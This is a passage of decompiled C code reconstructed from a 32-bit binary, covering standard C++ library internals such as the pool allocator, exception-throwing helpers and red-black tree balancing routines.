int32_t * v28 = (int32_t *)(g102 + 8); // 0x8094399_0
int32_t v29 = (int32_t)v9; // 0x809439c
int32_t v30 = *v28; // 0x809444d
if (v29 < *(int32_t *)*v28) {
// 0x809444d
v13 = v29;
*(int32_t *)(v15 + v30) = v29;
int32_t * v31 = (int32_t *)*(int32_t *)(g102 + 8); // 0x8094459_0
*v31 = *v31 - v13;
int32_t * v32 = (int32_t *)g102; // 0x809445b_0
int32_t v33 = *(int32_t *)*v32; // 0x809445d
v14 = v33;
if (v13 != 1) {
int32_t v34 = 0; // 0x8094468
int32_t v35 = *(int32_t *)v33; // 0x8094466
v14 = v35;
// branch -> 0x8094466
while (v13 - 1 != v34 + 1) {
// 0x8094466
v34++;
v35 = *(int32_t *)v35;
v14 = v35;
// continue -> 0x8094466
}
// 0x809446f
v33 = v35;
// branch -> 0x809446f
}
// 0x809446f
*(int32_t *)*v32 = *(int32_t *)v33;
*(int32_t *)v14 = 0;
// branch -> 0x80943c3
} else {
// 0x80943a7
*(int32_t *)(v15 + v30) = *(int32_t *)*v28;
*(int32_t *)*(int32_t *)(g102 + 8) = 0;
*(int32_t *)*(int32_t *)g102 = 0;
// branch -> 0x80943c3
}
// 0x80943c3
__pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16));
v16 = v27;
// branch -> 0x8094405
}
int32_t * v36 = (int32_t *)g102; // 0x8094405_0
int32_t v37 = *(int32_t *)(*v36 + v16); // 0x809440a
v14 = v37;
*(int32_t *)(*v36 + v16) = *(int32_t *)v37;
*(int32_t *)v14 = a3;
int32_t * v38 = (int32_t *)(v15 + *(int32_t *)(g102 + 8)); // 0x8094422_0
*v38 = *v38 - 1;
int32_t * v39 = (int32_t *)(v15 + *(int32_t *)(g102 + 12)); // 0x8094429_0
*v39 = *v39 + 1;
g97 = (int32_t)a1;
int32_t result = a1->e0 + v14; // 0x8094430
g96 = result;
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x80944f2 - 0x8094559
int32_t __gnu_cxx____pool_lt_true_gt____M_get_thread_id(int32_t * a1) {
int32_t v1 = g101; // 0x80944f5
int32_t v2 = g98; // 0x80944f6
g101 = (int32_t)a1;
pthread_getspecific(g63);
int32_t v3 = g63; // 0x809451c
int32_t * v4 = (int32_t *)g100;
if (g63 == 0) {
// 0x8094526
__pthread_mutex_lock_internal((struct struct_3 *)&g64, a1, NULL, NULL);
int32_t * v5 = (int32_t *)(g101 + 48); // 0x8094532_0
int32_t v6 = *v5; // 0x8094532
g98 = v6;
*v5 = *(int32_t *)v6;
__pthread_mutex_unlock_internal((struct struct_45 *)&g64);
pthread_setspecific((struct struct_45 *)g63, (int32_t *)g98);
v3 = g98;
v4 = (int32_t *)0x8094557;
// branch -> 0x809451c
}
// 0x809451c
g98 = v2;
g101 = v1;
g100 = (int32_t)v4;
return *(int32_t *)(v3 + 4);
}
// Address range: 0x809455a - 0x8094683
int32_t __gnu_cxx____pool_lt_true_gt____M_reclaim_block(struct struct_91 * a1, int32_t ** a2, struct struct_88 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
struct struct_88 v1; // 0x809455a_0
// 0x809455a
v1 = (struct struct_88){
.e0 = 0,
.e1 = 0,
.e2 = NULL,
.e4 = 0
};
v1.e0 = (int32_t)a3;
int32_t v2 = g102; // 0x809455d
int32_t v3 = g101; // 0x809455e
int32_t v4 = (int32_t)a1; // 0x8094563
g101 = v4;
int32_t v5 = (int32_t)a1->e5[0][0].e1[0]; // 0x809456c
g98 = v5;
g102 = 20 * v5 + *(int32_t *)(v4 + 36);
int32_t v6 = (int32_t)a2 - a1->e0; // 0x809457b
int32_t ** v7 = (int32_t **)v6; // 0x809457b_3
int32_t v8 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id(&a1->e0); // 0x809458f
uint32_t v9 = a1->e4; // 0x8094594
int32_t * v10 = (int32_t *)(100 * v9 * (*(int32_t *)(g101 + 40) - g98)); // 0x80945ae_0
g96 = 2 * v8;
int32_t v11 = 4 * v8; // 0x80945b4
g98 = v11;
int32_t * v12 = (int32_t *)(g102 + 8); // 0x80945b7_0
uint32_t v13 = *(int32_t *)(*v12 + v11) * v9; // 0x80945bd
int32_t * v14 = (int32_t *)(g102 + 12); // 0x80945c1_0
int32_t * v15; // 0x80945d1_0
int32_t v16; // 0x80945df
int32_t v17; // 0x80945ce
int32_t result; // 0x80945e4
int32_t v18; // 0x80945e7
if (v13 < *(int32_t *)(*v14 + v11)) {
// 0x80945c9
v17 = *(int32_t *)(g102 + 12);
v15 = (int32_t *)(v17 + 4 * *(int32_t *)v6);
*v15 = *v15 - 1;
g97 = v6;
*v7 = (int32_t *)*(int32_t *)(g98 + *(int32_t *)g102);
v16 = *(int32_t *)g102;
g95 = v16;
*(int32_t *)(g98 + v16) = g97;
result = *(int32_t *)(g102 + 8);
v18 = ((int32_t *)result)[v8];
((int32_t *)result)[v8] = v18 + 1;
g101 = v3;
g102 = v2;
return result;
}
uint32_t v19 = v13 - *(int32_t *)(*v14 + v11); // 0x80945f8
if (*v10 < v19) {
// 0x8094600
if (*(int32_t *)(*v12 + v11) < v19) {
int32_t * v20 = (int32_t *)g102; // 0x8094608_0
int32_t v21 = *(int32_t *)(*v20 + v11); // 0x809460a
uint32_t v22 = v19 / v9;
int32_t v23 = v21;
int32_t v24 = v21; // 0x8094631
if (v22 != 1) {
int32_t v25 = 0; // 0x8094628
int32_t v26 = *(int32_t *)v21; // 0x8094626
v23 = v26;
// branch -> 0x8094626
while (v22 - 1 != v25 + 1) {
// 0x8094626
v25++;
v26 = *(int32_t *)v26;
v23 = v26;
// continue -> 0x8094626
}
// 0x809462f
v24 = v26;
// branch -> 0x809462f
}
// 0x809462f
*(int32_t *)(*v20 + v11) = *(int32_t *)v24;
int32_t * v27 = (int32_t *)(g98 + *(int32_t *)(g102 + 8)); // 0x809463c_0
*v27 = *v27 - v22;
struct struct_3 * v28 = (struct struct_3 *)*(int32_t *)(g102 + 16); // 0x8094642_0
__pthread_mutex_lock_internal(v28, &a1->e0, (int32_t *)v6, &v1.e0);
*(int32_t *)v23 = *(int32_t *)*(int32_t *)g102;
*(int32_t *)*(int32_t *)g102 = v21;
int32_t * v29 = (int32_t *)*(int32_t *)(g102 + 8); // 0x809465d_0
*v29 = *v29 + v22;
__pthread_mutex_unlock_internal((struct struct_45 *)*(int32_t *)(g102 + 16));
// branch -> 0x80945c9
}
}
// 0x80945c9
v17 = *(int32_t *)(g102 + 12);
v15 = (int32_t *)(v17 + 4 * *(int32_t *)v6);
*v15 = *v15 - 1;
g97 = v6;
*v7 = (int32_t *)*(int32_t *)(g98 + *(int32_t *)g102);
v16 = *(int32_t *)g102;
g95 = v16;
*(int32_t *)(g98 + v16) = g97;
result = *(int32_t *)(g102 + 8);
v18 = ((int32_t *)result)[v8];
((int32_t *)result)[v8] = v18 + 1;
g101 = v3;
g102 = v2;
return result;
}
// Address range: 0x8095480 - 0x809548d
void std__length_error(void) {
// 0x8095480
int32_t v1;
*(int32_t *)v1 = 0x8107810;
abort();
// UNREACHABLE
}
// Address range: 0x8095590 - 0x80955bb
int32_t std____throw_bad_alloc(void) {
int32_t v1 = __cxa_allocate_exception((int32_t *)4, 0); // 0x809559d
*(int32_t *)v1 = 0x8131e18;
__cxa_throw(v1, 40, (int32_t)std__bad_alloc_702, 0, 0);
return g95;
}
// Address range: 0x8095820 - 0x8095b3f
int32_t std____throw_logic_error(char * a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x8095820
int32_t v1; // 0x809584e
int32_t v2; // 0x8095868
int32_t v3; // 0x809585a
int32_t v4;
char * v5;
if (g27 == 0) {
lab_0xe1353f0:;
// 0x80958a4
char * v6;
if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v6, (int32_t)std__logic_error_578, 0, 0, 0, 0, 0, 0) != 0) {
// 0x80958b8
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x8095832
}
// 0x8095832
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__logic_error_568((int32_t *)v3, v2);
if (g27 == 0) {
lab_0x63ccf00:
// 0x8095953
if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) {
// 0x8095967
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809587a
}
}
lab_0xe1354f0:;
int32_t v7 = v2 - 12; // 0x809587d
g98 = v7;
if (v7 != 0x8134edc) {
// 0x8095a02
if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) {
// 0x8095a1d
std__string___Rep___M_destroy((int32_t *)g98);
// branch -> 0x809588c
}
}
// 0x809588c
__cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\xD0\x78\x10\x08\x74\x1D\x13\x08\x53\x74\x31\x31\x6C\x6F\x67\x69\x63\x5F\x65\x72\x72\x6F\x72", (int32_t)std__logic_error_578, 0, 0);
v6 = "\x28\x1F\x13\x08\xD0\x78\x10\x08\x74\x1D\x13\x08\x53\x74\x31\x31\x6C\x6F\x67\x69\x63\x5F\x65\x72\x72\x6F\x72";
// branch -> 0x80958a4
goto lab_0xe1353f0;
}
// 0x8095832
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__logic_error_568((int32_t *)v3, v2);
if (g27 == 0) {
goto lab_0x63ccf00;
}
goto lab_0xe1354f0;
}
// Address range: 0x8096180 - 0x809649f
int32_t std____throw_length_error(char * a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x8096180
int32_t v1; // 0x80961ae
int32_t v2; // 0x80961c8
int32_t v3; // 0x80961ba
int32_t v4;
char * v5;
if (g27 == 0) {
lab_0x1d8620f0:;
// 0x8096204
void (*v6)();
char * v7;
if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v7, (int32_t)v6, 0, 0, 0, 0, 0, 0) != 0) {
// 0x8096218
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x8096192
}
// 0x8096192
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__length_error_572((int32_t *)v3, v2);
if (g27 == 0) {
lab_0x63e1010:
// 0x80962b3
if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) {
// 0x80962c7
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x80961da
}
}
lab_0x1d8622b0:;
int32_t v8 = v2 - 12; // 0x80961dd
g98 = v8;
if (v8 != 0x8134edc) {
// 0x8096362
if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) {
// 0x809637d
std__string___Rep___M_destroy((int32_t *)g98);
// branch -> 0x80961ec
}
}
// 0x80961ec
__cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\xF0\x77\x10\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6C\x65\x6E\x67\x74\x68\x5F\x65\x72\x72\x6F\x72", (int32_t)std__length_error, 0, 0);
v6 = std__length_error;
v7 = "\x28\x1F\x13\x08\xF0\x77\x10\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6C\x65\x6E\x67\x74\x68\x5F\x65\x72\x72\x6F\x72";
// branch -> 0x8096204
goto lab_0x1d8620f0;
}
// 0x8096192
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__length_error_572((int32_t *)v3, v2);
if (g27 == 0) {
goto lab_0x63e1010;
}
goto lab_0x1d8622b0;
}
// Address range: 0x80964a0 - 0x80967bf
int32_t std____throw_out_of_range(char * a1, int32_t a2) {
// 0x80964a0
int32_t v1; // 0x80964ce
int32_t v2; // 0x80964e8
int32_t v3; // 0x80964da
int32_t v4;
char * v5;
if (g27 == 0) {
lab_0x173f86b0:;
// 0x8096524
void (*v6)();
char * v7;
if (__cxa_guard_acquire((char *)0x8132c08, (int32_t)v7, (int32_t)v6, 0, 0, 0, 0, 0, 0) != 0) {
// 0x8096538
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x80964b2
}
// 0x80964b2
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__out_of_range_570((int32_t *)v3, v2);
if (g27 == 0) {
lab_0x63f4d00:
// 0x80965d3
if (__cxa_guard_acquire((char *)0x8132c08, v2, v4, 0, 0, 0, 0, 0, 0) != 0) {
// 0x80965e7
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x80964fa
}
}
lab_0x173f8870:;
int32_t v8 = v2 - 12; // 0x80964fd
g98 = v8;
if (v8 != 0x8134edc) {
// 0x8096682
if (__gnu_cxx____exchange_and_add((int32_t *)(v2 - 4), -1) <= 0) {
// 0x809669d
std__string___Rep___M_destroy((int32_t *)g98);
// branch -> 0x809650c
}
}
// 0x809650c
__cxa_throw(g101, (int32_t)"\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65", (int32_t)std__out_of_range, 0, 0);
v6 = std__out_of_range;
v7 = "\x28\x1F\x13\x08\x18\xF8\x0F\x08\xC4\x78\x10\x08\x53\x74\x31\x32\x6F\x75\x74\x5F\x6F\x66\x5F\x72\x61\x6E\x67\x65";
// branch -> 0x8096524
goto lab_0x173f86b0;
}
// 0x80964b2
g95 = (int32_t)a1;
v1 = (int32_t)gettext(a1);
std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)v5, v1, v4, 0, 0, 0);
v3 = __cxa_allocate_exception((int32_t *)8, v1);
g101 = v3;
v2 = (int32_t)v5;
std__out_of_range_570((int32_t *)v3, v2);
if (g27 == 0) {
goto lab_0x63f4d00;
}
goto lab_0x173f8870;
}
// Address range: 0x8097aea - 0x8097b13
int32_t std__logic_error(int32_t * a1, int32_t a2) {
int32_t v1 = g101; // 0x8097aed
g101 = (int32_t)a1;
*a1 = 0x8107908;
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)(g101 + 4), &a2); // 0x8097b08
g101 = v1;
return result;
}
// Address range: 0x8097b26 - 0x8097b4f
int32_t std__logic_error_568(int32_t * a1, int32_t a2) {
int32_t v1 = g101; // 0x8097b29
g101 = (int32_t)a1;
*a1 = 0x8107908;
int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)(g101 + 4), &a2); // 0x8097b44
g101 = v1;
return result;
}
// Address range: 0x8097c9c - 0x8097cc1
int32_t std__out_of_range_570(int32_t * a1, int32_t a2) {
int32_t v1 = g98; // 0x8097c9f
g98 = (int32_t)a1;
int32_t result = std__logic_error(a1, a2); // 0x8097cb0
*(int32_t *)g98 = 0x80ff838;
g98 = v1;
return result;
}
// Address range: 0x8097ce8 - 0x8097d0d
int32_t std__length_error_572(int32_t * a1, int32_t a2) {
int32_t v1 = g98; // 0x8097ceb
g98 = (int32_t)a1;
int32_t result = std__logic_error(a1, a2); // 0x8097cfc
*(int32_t *)g98 = 0x8107810;
g98 = v1;
return result;
}
// Address range: 0x8097dcc - 0x8097f01
void std__logic_error_578(void) {
int32_t v1;
g101 = v1;
*(int32_t *)v1 = 0x8107908;
g98 = g101 + 4;
int32_t v2;
int32_t v3; // 0x8097dea
int32_t v4; // 0x8097dec
if (g27 != 0) {
// 0x8097dea
v3 = *(int32_t *)g98;
v4 = v3 - 12;
g98 = v4;
if (v4 == 0x8134edc) {
// 0x8097dfb
abort();
// UNREACHABLE
}
// 0x8097eb6
v2 = v3 - 4;
if (__gnu_cxx____exchange_and_add(&v2, -1) <= 0) {
// 0x8097ed1
v2 = g98;
std__string___Rep___M_destroy(&v2);
// branch -> 0x8097dfb
}
// 0x8097dfb
abort();
// UNREACHABLE
}
// 0x8097e0b
v2 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v2, v1, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x8097e1b
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v2 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v2 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x8097dea
}
// 0x8097dea
v3 = *(int32_t *)g98;
v4 = v3 - 12;
g98 = v4;
if (v4 == 0x8134edc) {
// 0x8097dfb
abort();
// UNREACHABLE
}
// 0x8097eb6
v2 = v3 - 4;
if (__gnu_cxx____exchange_and_add(&v2, -1) <= 0) {
// 0x8097ed1
v2 = g98;
std__string___Rep___M_destroy(&v2);
// branch -> 0x8097dfb
}
// 0x8097dfb
abort();
// UNREACHABLE
}
// Address range: 0x8098420 - 0x809845f
int32_t std___Rb_tree_increment(int32_t a1) {
int32_t v1 = g100; // 0x8098420
g95 = a1;
int32_t v2 = *(int32_t *)(a1 + 12); // 0x8098426
g96 = v2;
if (v2 != 0) {
int32_t v3 = *(int32_t *)(v2 + 8); // 0x80984334
g95 = v3;
int32_t result; // 0x809843a
if (v3 != 0) {
int32_t v4 = *(int32_t *)(v3 + 8); // 0x8098433
g95 = v4;
while (v4 != 0) {
// 0x8098431
v3 = v4;
v4 = *(int32_t *)(v3 + 8);
g95 = v4;
// continue -> 0x8098431
}
// 0x8098433
result = v3;
// branch -> 0x809843a
} else {
result = v2;
}
// 0x809843a
g100 = v1;
return result;
}
int32_t v5 = *(int32_t *)(a1 + 4); // 0x809843e
int32_t result2 = a1; // 0x809844a
int32_t result3 = v5; // 0x8098446
int32_t v6 = 0; // 0x8098446
if (*(int32_t *)(v5 + 12) == a1) {
g95 = v5;
int32_t v7 = *(int32_t *)(v5 + 4); // 0x8098452
while (*(int32_t *)(v7 + 12) == v5) {
// 0x8098450
v5 = v7;
g95 = v5;
v7 = *(int32_t *)(v5 + 4);
// continue -> 0x8098450
}
int32_t v8 = *(int32_t *)(v5 + 12); // 0x809845a
g96 = v8;
result2 = v5;
result3 = v7;
v6 = v8;
// branch -> 0x8098446
}
// 0x8098446
if (v6 == result3) {
// 0x809844a
int32_t v9;
g100 = v9;
return result2;
}
// 0x809843a
g100 = v1;
return result3;
}
// Address range: 0x8098460 - 0x809846f
int32_t std___Rb_tree_increment_590(void) {
// 0x8098460
std___Rb_tree_increment(0);
return g95;
}
// Address range: 0x8098470 - 0x80984b5
int32_t std___Rb_tree_decrement(struct struct_94 * a1, int32_t a2, int32_t a3) {
// 0x8098470
int32_t * v1; // 0x809847f
if (a1->e0 == 0) {
// 0x809847c
v1 = a1->e2;
if ((struct struct_94 *)v1 == a1) {
// 0x8098498
return (int32_t)a1->e3;
}
} else {
// 0x8098470
v1 = a1->e2;
// branch -> 0x8098484
}
// 0x8098484
if (v1 != NULL) {
int32_t result = (int32_t)v1; // 0x809848f2
int32_t result2 = *(int32_t *)(result + 12); // 0x809848f5
if (result2 == 0) {
// 0x8098496
return result;
}
int32_t v2 = *(int32_t *)(result2 + 12); // 0x809848f
while (v2 != 0) {
// 0x809848d
result2 = v2;
v2 = *(int32_t *)(result2 + 12);
// continue -> 0x809848d
}
// 0x809848f
// branch -> 0x8098496
// 0x8098496
return result2;
}
int32_t result3 = a1->e1; // 0x809849d
g96 = result3;
if ((struct struct_94 *)a1->e3 != a1) {
// 0x80984a7
return result3;
}
int32_t result4 = *(int32_t *)(result3 + 4); // 0x80984ab16
if (result3 != *(int32_t *)(result4 + 8)) {
// 0x80984b3
return result4;
}
int32_t v3 = result4; // 0x80984ab21
g96 = v3;
int32_t result5 = *(int32_t *)(v3 + 4); // 0x80984ab
while (v3 == *(int32_t *)(result5 + 8)) {
// 0x80984a9
v3 = result5;
g96 = v3;
result5 = *(int32_t *)(v3 + 4);
// continue -> 0x80984a9
}
// 0x80984b3
return result5;
}
// Address range: 0x80984c0 - 0x809850f
int32_t std___Rb_tree_rotate_left(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g100; // 0x80984c0
int32_t v2 = g98; // 0x80984c3
int32_t v3 = (int32_t)a1; // 0x80984c4
g96 = v3;
int32_t v4 = (int32_t)a2; // 0x80984c7
int32_t * v5 = (int32_t *)(v3 + 12); // 0x80984ca_0
int32_t v6 = *v5; // 0x80984ca
int32_t v7 = *(int32_t *)(v6 + 8); // 0x80984cd
*v5 = v7;
if (v7 != 0) {
// 0x80984d7
*(int32_t *)(v7 + 4) = g96;
// branch -> 0x80984da
}
int32_t result = *(int32_t *)(g96 + 4); // 0x80984da
*(int32_t *)(v6 + 4) = result;
int32_t * v8 = (int32_t *)v4; // 0x80984e0_0
if (g96 == *v8) {
// 0x80984f8
*v8 = v6;
*(int32_t *)(v6 + 8) = g96;
*(int32_t *)(g96 + 4) = v6;
int32_t v9;
g98 = v9;
g100 = v3;
return result;
}
int32_t result2 = *(int32_t *)(g96 + 4); // 0x80984e4
int32_t * v10 = (int32_t *)(result2 + 8); // 0x80984e7_0
if (g96 == *v10) {
// 0x8098503
*v10 = v6;
*(int32_t *)(v6 + 8) = g96;
*(int32_t *)(g96 + 4) = v6;
g98 = v4;
g100 = (int32_t)a3;
return result2;
}
// 0x80984ec
*(int32_t *)(result2 + 12) = v6;
*(int32_t *)(v6 + 8) = g96;
*(int32_t *)(g96 + 4) = v6;
g98 = v2;
g100 = v1;
return result2;
}
// Address range: 0x8098510 - 0x809855f
int32_t std___Rb_tree_rotate_right(int32_t * a1, int32_t ** a2, int32_t * a3, int32_t * a4) {
int32_t v1 = g100; // 0x8098510
int32_t v2 = g98; // 0x8098513
int32_t v3 = (int32_t)a1; // 0x8098514
g96 = v3;
int32_t v4 = (int32_t)a2; // 0x8098517
int32_t * v5 = (int32_t *)(v3 + 8); // 0x809851a_0
int32_t v6 = *v5; // 0x809851a
int32_t v7 = *(int32_t *)(v6 + 12); // 0x809851d
*v5 = v7;
if (v7 != 0) {
// 0x8098527
*(int32_t *)(v7 + 4) = g96;
// branch -> 0x809852a
}
int32_t result = *(int32_t *)(g96 + 4); // 0x809852a
*(int32_t *)(v6 + 4) = result;
int32_t * v8 = (int32_t *)v4; // 0x8098530_0
if (g96 == *v8) {
// 0x8098548
*v8 = v6;
*(int32_t *)(v6 + 12) = g96;
*(int32_t *)(g96 + 4) = v6;
int32_t v9;
g98 = v9;
g100 = v3;
return result;
}
int32_t result2 = *(int32_t *)(g96 + 4); // 0x8098534
int32_t * v10 = (int32_t *)(result2 + 12); // 0x8098537_0
if (g96 == *v10) {
// 0x8098553
*v10 = v6;
*(int32_t *)(v6 + 12) = g96;
*(int32_t *)(g96 + 4) = v6;
g98 = v4;
g100 = (int32_t)a3;
return result2;
}
// 0x809853c
*(int32_t *)(result2 + 8) = v6;
*(int32_t *)(v6 + 12) = g96;
*(int32_t *)(g96 + 4) = v6;
g98 = v2;
g100 = v1;
return result2;
}
// Address range: 0x8098560 - 0x80986af
int32_t std___Rb_tree_insert_and_rebalance(int32_t ** a1, struct struct_96 * a2, int32_t * a3, struct struct_94 * a4) {
int32_t * v1 = (int32_t *)g100; // 0x8098560_0
int32_t v2 = (int32_t)a2;
int32_t v3 = (int32_t)a4; // 0x809856f
int32_t v4 = v3 + 4; // 0x809856f
struct struct_94 * v5 = (struct struct_94 *)v4; // bp-20
int32_t v6 = (int32_t)a3;
a2->e1 = a3;
a2->e2 = 0;
a2->e3 = 0;
*(int32_t *)v2 = 0;
int32_t * v7;
struct struct_94 * v8;
int32_t v9;
int32_t * v10;
int32_t v11; // 0x80985ac
int32_t v12; // 0x80985ac14
int32_t v13; // 0x80985e531
int32_t v14; // 0x80985fe
int32_t v15; // 0x8098603
if (0x1000000 * (int32_t)a1 == 0) {
// 0x80985f3
*(int32_t *)(v6 + 12) = v2;
if (v6 == (int32_t)a4->e3) {
// 0x80985fb
a4->e3 = (int32_t *)v2;
v14 = a4->e1;
// branch -> 0x80985ac
} else {
// 0x80985a9
v14 = a4->e1;
// branch -> 0x80985ac
}
// 0x80985ac
v12 = v2;
if (v12 == v14) {
// 0x80985e5
*(int32_t *)v14 = 1;
g100 = (int32_t)v1;
return (int32_t)a4;
}
v10 = v1;
while (true) {
// 0x80985b0
v15 = v12;
v13 = v14;
v8 = a4;
// branch -> 0x80985b0
lab_0x14069e80:;
struct struct_94 * v16; // 0x809862a_1
int32_t v17; // 0x80985df
while (true) {
int32_t v18 = *(int32_t *)(v15 + 4); // 0x80985b0
g98 = v18;
int32_t * v19 = (int32_t *)v18; // 0x80985b3_0
int32_t v20 = *v19; // 0x80985b3
g96 = v20;
int32_t v21 = v13; // 0x80985e530
struct struct_94 * v22 = v8;
if (v20 == 0) {
int32_t v23 = *(int32_t *)(v18 + 4); // 0x80985b9
int32_t v24 = v23;
int32_t v25 = *(int32_t *)(v23 + 8); // 0x80985bc
struct struct_94 * v26 = (struct struct_94 *)v25; // 0x80985bc_1
int32_t v27; // 0x80985e1
if (v18 == v25) {
int32_t v28 = *(int32_t *)(v23 + 12); // 0x809862a
v16 = (struct struct_94 *)v28;
if (v28 != 0) {
int32_t v29 = v16->e0; // 0x8098631
g96 = v29;
if (v29 == 0) {
lab_0x645bdd0:
// 0x80985cd
*v19 = 1;
v16->e0 = 1;
*(int32_t *)v24 = 0;
v17 = v24;
v2 = v17;
v27 = v14;
if (v17 == v27) {
// break -> 0x80985e5
break;
}
v15 = v17;
v13 = v27;
v8 = v16;
// continue -> 0x80985b0
continue;
}
}
int32_t v30 = v18; // 0x809863c
if (v15 == *(int32_t *)(v18 + 12)) {
// 0x809868f
std___Rb_tree_rotate_left(v19, (int32_t **)v5, &a2->e0, a3);
int32_t v31 = g98; // 0x809869e
v2 = v31;
int32_t v32 = *(int32_t *)(v31 + 4); // 0x80986a0
g98 = v32;
v30 = v32;
// branch -> 0x809863c
}
// 0x809863c
*(int32_t *)v30 = 1;
*(int32_t *)v24 = 0;
std___Rb_tree_rotate_right((int32_t *)v24, (int32_t **)v5, &a2->e0, a3);
v7 = (int32_t *)0x8098657;
// branch -> 0x80985ac
lab_0x6462a40:
// 0x80985ac
v9 = v5->e0;
v14 = v9;
v11 = v2;
if (v11 == v9) {
// break (via goto) -> 0x80985e5
goto lab_0x6477010;
}
v10 = v7;
// continue (via goto) -> 0x80985b0
goto lab_0x6478430;
} else {
// 0x80985c3
int32_t v33; // 0x8098608
if (v25 != 0) {
int32_t v34 = v26->e0; // 0x80985c7
g96 = v34;
if (v34 == 0) {
v16 = v26;
goto lab_0x645bdd0;
}
// 0x8098603
v33 = v18;
if (v15 == *(int32_t *)(v18 + 8)) {
lab_0x64668e0:
// 0x8098661
std___Rb_tree_rotate_right(v19, (int32_t **)v5, &a2->e0, a3);
int32_t v35 = g98; // 0x8098670
v2 = v35;
int32_t v36 = *(int32_t *)(v35 + 4); // 0x8098672
g98 = v36;
